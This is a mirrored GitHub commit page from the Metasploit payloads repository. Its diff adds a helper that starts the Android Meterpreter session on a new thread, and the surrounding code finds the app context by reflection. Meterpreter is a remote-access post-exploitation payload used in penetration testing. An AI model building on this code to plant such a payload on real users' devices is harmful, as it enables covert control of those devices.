mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-12-21 05:35:54 +01:00
Fix AndroidMeterpreter when running on Main thread
This commit is contained in:
parent
bab206fd92
commit
3b59d513b5
@ -49,6 +49,19 @@ public class AndroidMeterpreter extends Meterpreter {
|
||||
private static String writeableDir;
|
||||
private static Context context;
|
||||
|
||||
private void startExecutingOnThread() {
|
||||
new Thread() {
|
||||
@Override
|
||||
public void run() {
|
||||
try {
|
||||
startExecuting();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}.start();
|
||||
}
|
||||
|
||||
private void findContext() throws Exception {
|
||||
final Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
|
||||
final Method currentApplication = activityThreadClass.getMethod("currentApplication");
|
||||
@ -63,11 +76,7 @@ public class AndroidMeterpreter extends Meterpreter {
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
try {
|
||||
startExecuting();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
startExecutingOnThread();
|
||||
}
|
||||
});
|
||||
} else {
|
||||
|
Loading…
Reference in New Issue
Block a user